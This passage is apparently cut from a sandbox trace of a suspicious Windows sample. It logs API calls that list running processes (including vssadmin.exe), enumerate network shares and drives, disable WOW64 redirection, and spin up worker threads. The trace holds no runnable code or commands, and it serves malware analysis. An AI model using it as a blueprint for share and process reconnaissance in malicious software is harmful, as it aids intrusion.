dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0100.588] lstrlenW (lpString="winhost.exe") returned 11 [0100.588] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.589] lstrlenW (lpString="cmd.exe") returned 7 [0100.589] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.590] lstrlenW (lpString="conhost.exe") returned 11 [0100.590] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0100.591] lstrlenW (lpString="vssadmin.exe") returned 12 [0100.591] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0100.591] lstrlenW (lpString="VSSVC.exe") returned 9 [0100.591] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.592] lstrlenW (lpString="svchost.exe") returned 11 [0100.592] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0100.593] lstrlenW (lpString="LogonUI.exe") returned 11 [0100.593] Process32NextW (in: hSnapshot=0x18c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0100.594] CloseHandle (hObject=0x18c) returned 1 [0100.594] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x290 [0070.469] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0070.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e4a38 | out: hHeap=0x5b0000) returned 1 Thread: id = 6 os_tid = 0x7a8 [0070.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e4a38 [0070.471] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e4a38, Size=0x20) returned 0x5e5bb8 [0070.471] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5e5bb8, Size=0x40) returned 0x5e6c38 [0070.471] GetLogicalDrives () returned 0x4 [0070.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x621460 [0070.471] GetComputerNameW (in: lpBuffer=0x621464, nSize=0x23cff6c | out: lpBuffer="XDUWTFONO", nSize=0x23cff6c) returned 1 [0070.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6085f0 [0070.472] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23cff3c | out: lphEnum=0x23cff3c*=0x5e61e8) returned 0x0 [0070.472] WNetEnumResourceW (in: hEnum=0x5e61e8, lpcCount=0x23cff38, lpBuffer=0x6085f0, lpBufferSize=0x23cff40 | out: lpcCount=0x23cff38, lpBuffer=0x6085f0, lpBufferSize=0x23cff40) returned 0x103 [0070.472] WNetCloseEnum (hEnum=0x5e61e8) returned 0x0 [0070.473] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23cff3c | out: lphEnum=0x23cff3c*=0x603350) returned 0x0 [0074.123] WNetEnumResourceW (in: hEnum=0x603350, lpcCount=0x23cff38, lpBuffer=0x6085f0, lpBufferSize=0x23cff40 | out: lpcCount=0x23cff38, lpBuffer=0x6085f0, lpBufferSize=0x23cff40) returned 0x0 [0074.123] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x39720d0 [0074.123] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6085f0, lphEnum=0x23cff10 | out: lphEnum=0x23cff10*=0x5e6368) returned 0x0 [0074.327] WNetEnumResourceW (in: hEnum=0x5e6368, lpcCount=0x23cff0c, lpBuffer=0x39720d0, lpBufferSize=0x23cff14 | out: lpcCount=0x23cff0c, lpBuffer=0x39720d0, lpBufferSize=0x23cff14) returned 0x103 [0074.327] WNetCloseEnum (hEnum=0x5e6368) returned 0x0 [0074.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3975790 [0074.328] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x608610, lphEnum=0x23cff10 | out: lphEnum=0x23cff10*=0x0) returned 0x4b8 [0099.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3f800e8 [0099.928] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x608630, lphEnum=0x23cff10 | out: lphEnum=0x23cff10*=0x0) returned 0x4c6 [0100.025] WNetEnumResourceW (in: hEnum=0x603350, lpcCount=0x23cff38, lpBuffer=0x6085f0, lpBufferSize=0x23cff40 | out: lpcCount=0x23cff38, lpBuffer=0x6085f0, lpBufferSize=0x23cff40) returned 0x103 [0100.025] WNetCloseEnum (hEnum=0x603350) returned 0x0 [0100.026] GetLogicalDrives () returned 0x4 [0100.026] Sleep (dwMilliseconds=0x64) [0100.463] GetLogicalDrives () returned 0x4 [0100.463] Sleep (dwMilliseconds=0x64) [0100.971] GetLogicalDrives () returned 0x4 [0100.971] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x564 [0072.007] GetTickCount () returned 0x1145f6f [0072.007] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x603d00 [0072.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0072.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0072.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0072.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0072.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602260 [0072.013] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602260, Size=0x20) returned 0x5e5d48 [0072.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602260 [0072.014] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602260, Size=0x20) returned 0x5e5d70 [0072.017] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0072.017] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0072.018] Wow64DisableWow64FsRedirection (in: OldValue=0x24cff84 | out: OldValue=0x24cff84*=0x0) returned 1 [0072.018] lstrlenW (lpString="kernel32.dll") returned 12 [0072.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5d48 | out: hHeap=0x5b0000) returned 1 [0072.018] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0072.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5d70 | out: hHeap=0x5b0000) returned 1 [0072.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5eb430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0072.021] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0072.824] GetTickCount () returned 0x114600b [0072.824] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0073.153] GetTickCount () returned 0x1146078 [0073.153] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0073.469] GetTickCount () returned 0x11460f5 [0073.470] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0073.969] GetTickCount () returned 0x1146162 [0073.969] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0074.190] GetTickCount () returned 0x114623d [0074.190] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0074.993] GetTickCount () returned 0x1146394 [0074.993] GetTickCount () returned 0x1146394 [0074.994] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0075.155] GetTickCount () returned 0x114643f [0075.156] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0075.326] GetTickCount () returned 0x11464eb [0075.326] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0075.535] GetTickCount () returned 0x11465b6 [0075.535] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0076.127] GetTickCount () returned 0x114672c [0076.127] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0076.537] GetTickCount () returned 0x11468c2 [0076.537] GetTickCount () returned 0x11468c2 [0076.537] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.062] GetTickCount () returned 0x1146a38 [0077.062] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.336] GetTickCount () returned 0x1146b51 [0077.336] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.557] GetTickCount () returned 0x1146c2b [0077.557] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.734] GetTickCount () returned 0x1146cc7 [0077.734] GetTickCount () returned 0x1146cc7 [0077.734] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0077.882] GetTickCount () returned 0x1146d54 [0077.882] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.116] GetTickCount () returned 0x1146df0 [0078.116] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.226] GetTickCount () returned 0x1146e5d [0078.226] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.397] GetTickCount () returned 0x1146f09 [0078.398] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.507] GetTickCount () returned 0x1146f76 [0078.507] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0078.619] GetTickCount () returned 0x1146fe3 [0078.619] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0079.583] GetTickCount () returned 0x114710b [0079.583] GetTickCount () returned 0x114710b [0079.583] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0080.055] GetTickCount () returned 0x11472d0 [0080.055] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0081.752] GetTickCount () returned 0x1147501 [0081.752] GetTickCount () returned 0x1147501 [0081.752] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0082.095] GetTickCount () returned 0x1147659 [0082.095] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0082.522] GetTickCount () returned 0x11477fe [0082.522] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0082.766] GetTickCount () returned 0x11478f7 [0082.766] GetTickCount () returned 0x11478f7 [0082.766] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0083.209] GetTickCount () returned 0x1147a9d [0083.209] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0083.449] GetTickCount () returned 0x1147b48 [0083.449] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0083.602] GetTickCount () returned 0x1147be4 [0083.602] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0083.972] GetTickCount () returned 0x1147d4b [0083.972] GetTickCount () returned 0x1147d4b [0083.972] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0084.360] GetTickCount () returned 0x1147ed1 [0084.360] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0084.871] GetTickCount () returned 0x11480a5 [0084.871] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0085.183] GetTickCount () returned 0x11481ae [0085.183] GetTickCount () returned 0x11481ae [0085.183] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0085.314] GetTickCount () returned 0x114822b [0085.314] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0085.736] GetTickCount () returned 0x11483c1 [0085.736] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0086.240] GetTickCount () returned 0x11485b4 [0086.240] GetTickCount () returned 0x11485b4 [0086.240] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0086.563] GetTickCount () returned 0x11486ec [0086.563] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0086.876] GetTickCount () returned 0x11487f5 [0086.876] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0087.113] GetTickCount () returned 0x1148872 [0087.113] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0088.435] GetTickCount () returned 0x1148a17 [0088.435] GetTickCount () returned 0x1148a17 [0088.435] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0088.890] GetTickCount () returned 0x1148bdb [0088.890] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0089.337] GetTickCount () returned 0x1148da0 [0089.337] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0090.285] GetTickCount () returned 0x1148f93 [0090.285] GetTickCount () returned 0x1148f93 [0090.285] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0090.898] GetTickCount () returned 0x1149186 [0090.898] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0091.351] GetTickCount () returned 0x114934b [0091.351] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0091.879] GetTickCount () returned 0x114952e [0091.879] GetTickCount () returned 0x114953e [0091.894] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0092.396] GetTickCount () returned 0x11496f3 [0092.396] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0092.714] GetTickCount () returned 0x114982b [0092.714] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0092.923] GetTickCount () returned 0x1149905 [0092.923] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0093.204] GetTickCount () returned 0x11499d0 [0093.204] GetTickCount () returned 0x11499d0 [0093.204] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0094.764] GetTickCount () returned 0x1149b27 [0094.765] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0095.034] GetTickCount () returned 0x1149c21 [0095.035] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0095.318] GetTickCount () returned 0x1149d3a [0095.318] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0095.816] GetTickCount () returned 0x1149f2d [0095.816] GetTickCount () returned 0x1149f2d [0095.816] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0096.287] GetTickCount () returned 0x114a101 [0096.287] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0096.759] GetTickCount () returned 0x114a2e4 [0096.759] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0097.210] GetTickCount () returned 0x114a499 [0097.210] GetTickCount () returned 0x114a499 [0097.210] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0097.397] GetTickCount () returned 0x114a554 [0097.397] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0097.688] GetTickCount () returned 0x114a67d [0097.689] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0098.710] GetTickCount () returned 0x114aa82 [0098.710] GetTickCount () returned 0x114aa82 [0098.710] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0099.713] GetTickCount () returned 0x114ae69 [0099.713] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0100.128] GetTickCount () returned 0x114afef [0100.129] GetTickCount () returned 0x114afef [0100.129] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0100.507] GetTickCount () returned 0x114b165 [0100.507] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0100.972] GetTickCount () returned 0x114b339 [0100.972] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x2a8 [0072.008] GetTickCount () returned 0x1145f6f [0072.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x603d30 [0072.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0072.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0072.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0072.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x603d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0072.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602260 [0072.019] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602260, Size=0x20) returned 0x5e5d70 [0072.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x602260 [0072.019] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x602260, Size=0x20) returned 0x5e5d48 [0072.020] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0072.020] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0072.020] Wow64DisableWow64FsRedirection (in: OldValue=0x25cff84 | out: OldValue=0x25cff84*=0x0) returned 1 [0072.020] lstrlenW (lpString="kernel32.dll") returned 12 [0072.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5d70 | out: hHeap=0x5b0000) returned 1 [0072.020] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0072.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5d48 | out: hHeap=0x5b0000) returned 1 [0072.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x60d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0072.022] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0072.824] GetTickCount () returned 0x114600b [0072.824] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0073.153] GetTickCount () returned 0x1146078 [0073.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0073.470] GetTickCount () returned 0x11460f5 [0073.470] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0073.969] GetTickCount () returned 0x1146162 [0073.969] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0074.190] GetTickCount () returned 0x114623d [0074.190] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0074.994] GetTickCount () returned 0x1146394 [0074.994] GetTickCount () returned 0x1146394 [0074.994] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0075.156] GetTickCount () returned 0x114643f [0075.156] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0075.327] GetTickCount () returned 0x11464eb [0075.327] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0075.536] GetTickCount () returned 0x11465b6 [0075.536] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0076.127] GetTickCount () returned 0x114672c [0076.127] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0076.538] GetTickCount () returned 0x11468c2 [0076.538] GetTickCount () returned 0x11468c2 [0076.538] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0077.062] GetTickCount () returned 0x1146a38 [0077.062] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0077.337] GetTickCount () returned 0x1146b51 [0077.337] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0077.557] GetTickCount () returned 0x1146c2b [0077.557] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0077.734] GetTickCount () returned 0x1146cc7 [0077.734] GetTickCount () returned 0x1146cc7 [0077.735] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0077.883] GetTickCount () returned 0x1146d54 [0077.883] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0078.117] GetTickCount () returned 0x1146df0 [0078.117] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0078.226] GetTickCount () returned 0x1146e5d [0078.226] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0078.398] GetTickCount () returned 0x1146f09 [0078.398] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0078.507] GetTickCount () returned 0x1146f76 [0078.507] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0078.619] GetTickCount () returned 0x1146fe3 [0078.619] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0079.583] GetTickCount () returned 0x114710b [0079.583] GetTickCount () returned 0x114710b [0079.583] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0080.055] GetTickCount () returned 0x11472d0 [0080.055] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0081.752] GetTickCount () returned 0x1147501 [0081.752] GetTickCount () returned 0x1147501 [0081.752] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0082.095] GetTickCount () returned 0x1147659 [0082.095] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0082.522] GetTickCount () returned 0x11477fe [0082.522] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0082.766] GetTickCount () returned 0x11478f7 [0082.766] GetTickCount () returned 0x11478f7 [0082.766] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0083.209] GetTickCount () returned 0x1147a9d [0083.209] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0083.449] GetTickCount () returned 0x1147b48 [0083.449] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0083.602] GetTickCount () returned 0x1147be4 [0083.602] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0083.972] GetTickCount () returned 0x1147d4b [0083.972] GetTickCount () returned 0x1147d4b [0083.972] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0084.360] GetTickCount () returned 0x1147ed1 [0084.360] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0084.871] GetTickCount () returned 0x11480a5 [0084.871] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0085.183] GetTickCount () returned 0x11481ae [0085.183] GetTickCount () returned 0x11481ae [0085.183] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0085.315] GetTickCount () returned 0x114822b [0085.315] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0085.736] GetTickCount () returned 0x11483c1 [0085.736] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0086.240] GetTickCount () returned 0x11485b4 [0086.240] GetTickCount () returned 0x11485b4 [0086.240] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0086.564] GetTickCount () returned 0x11486ec [0086.564] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0086.876] GetTickCount () returned 0x11487f5 [0086.876] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0087.113] GetTickCount () returned 0x1148872 [0087.113] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0088.436] GetTickCount () returned 0x1148a17 [0088.436] GetTickCount () returned 0x1148a17 [0088.436] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0088.890] GetTickCount () returned 0x1148bdb [0088.890] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0089.337] GetTickCount () returned 0x1148da0 [0089.337] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0090.285] GetTickCount () returned 0x1148f93 [0090.285] GetTickCount () returned 0x1148f93 [0090.285] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0090.899] GetTickCount () returned 0x1149186 [0090.899] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0091.352] GetTickCount () returned 0x114934b [0091.352] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0091.894] GetTickCount () returned 0x114953e [0091.894] GetTickCount () returned 0x114954e [0091.911] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0092.396] GetTickCount () returned 0x11496f3 [0092.396] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0092.715] GetTickCount () returned 0x114982b [0092.715] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0092.923] GetTickCount () returned 0x1149905 [0092.923] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0093.204] GetTickCount () returned 0x11499d0 [0093.204] GetTickCount () returned 0x11499d0 [0093.204] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0094.765] GetTickCount () returned 0x1149b27 [0094.765] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0095.035] GetTickCount () returned 0x1149c21 [0095.035] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0095.318] GetTickCount () returned 0x1149d3a [0095.318] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0095.817] GetTickCount () returned 0x1149f2d [0095.817] GetTickCount () returned 0x1149f2d [0095.817] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102 [0096.287] GetTickCount () returned 0x114a101 [0096.287] WaitForSingleObject (hHandle=0x148, 